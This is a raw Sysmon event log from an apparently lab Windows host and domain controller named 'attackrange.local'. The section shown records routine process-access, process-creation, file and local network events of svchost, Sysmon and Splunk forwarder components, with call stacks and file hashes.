15:06:32.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017799Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017798Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017797Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017796Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7478-613B-3105-00000000F101}2592C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017795Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7478-613B-3105-00000000F101}2592C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017794Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.607{625C326B-7478-613B-3105-00000000F101}2592C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000055675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:32.333{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A851A86EC4B5EE2DF3E69979E619FB11,SHA256=2B364028BD3CD65B6B625D44B0303ECA2FCAE0CE1F0F06F81DE910BC5CF615C2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017793Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.340{625C326B-7478-613B-3005-00000000F101}30401560C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017792Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7478-613B-3005-00000000F101}3040C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017791Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017790Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017789Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017788Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017787Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017786Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017785Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017784Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017783Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017782Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7478-613B-3005-00000000F101}3040C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017781Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.106{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7478-613B-3005-00000000F101}3040C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017780Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.107{625C326B-7478-613B-3005-00000000F101}3040C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000055674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:32.133{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=89D1688DB55FAD5BCE3147977F41C07F,SHA256=F4630B44045CA1FA34EF024F62F4367B26FD9BE2E8CA44C370F220EA69993AB1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000055673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:29.388{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63151-false10.0.1.12-8000- 354300x800000000000000055672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:29.273{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63150-false10.0.1.12-8089- 10341000x800000000000000017824Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7479-613B-3205-00000000F101}92C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017823Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017822Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017821Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017820Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 